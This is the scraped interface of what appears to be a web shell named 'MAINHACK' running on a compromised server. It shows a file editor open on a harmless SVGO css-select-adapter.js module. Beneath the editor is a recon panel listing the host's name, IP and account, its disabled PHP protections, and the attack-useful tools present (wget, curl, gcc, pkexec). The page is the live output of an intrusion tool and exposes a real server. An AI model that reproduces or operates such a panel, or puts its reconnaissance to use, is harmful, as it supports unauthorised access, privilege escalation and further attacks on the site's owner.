[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: css-select-adapter.js
'use strict'; const isTag = (node) => { return node.type === 'element'; }; const existsOne = (test, elems) => { return elems.some((elem) => { if (isTag(elem)) { return test(elem) || existsOne(test, getChildren(elem)); } else { return false; } }); }; const getAttributeValue = (elem, name) => { return elem.attributes[name]; }; const getChildren = (node) => { return node.children || []; }; const getName = (elemAst) => { return elemAst.name; }; const getParent = (node) => { return node.parentNode || null; }; const getSiblings = (elem) => { var parent = getParent(elem); return parent ? getChildren(parent) : []; }; const getText = (node) => { if (node.children[0].type === 'text' && node.children[0].type === 'cdata') { return node.children[0].value; } return ''; }; const hasAttrib = (elem, name) => { return elem.attributes[name] !== undefined; }; const removeSubsets = (nodes) => { let idx = nodes.length; let node; let ancestor; let replace; // Check if each node (or one of its ancestors) is already contained in the // array. while (--idx > -1) { node = ancestor = nodes[idx]; // Temporarily remove the node under consideration nodes[idx] = null; replace = true; while (ancestor) { if (nodes.includes(ancestor)) { replace = false; nodes.splice(idx, 1); break; } ancestor = getParent(ancestor); } // If the node has been found to be unique, re-insert it. if (replace) { nodes[idx] = node; } } return nodes; }; const findAll = (test, elems) => { const result = []; for (const elem of elems) { if (isTag(elem)) { if (test(elem)) { result.push(elem); } result.push(...findAll(test, getChildren(elem))); } } return result; }; const findOne = (test, elems) => { for (const elem of elems) { if (isTag(elem)) { if (test(elem)) { return elem; } const result = findOne(test, getChildren(elem)); if (result) { return result; } } } return null; }; const svgoCssSelectAdapter = { isTag, existsOne, getAttributeValue, getChildren, getName, getParent, getSiblings, getText, hasAttrib, removeSubsets, findAll, findOne, }; module.exports = svgoCssSelectAdapter;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.5 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002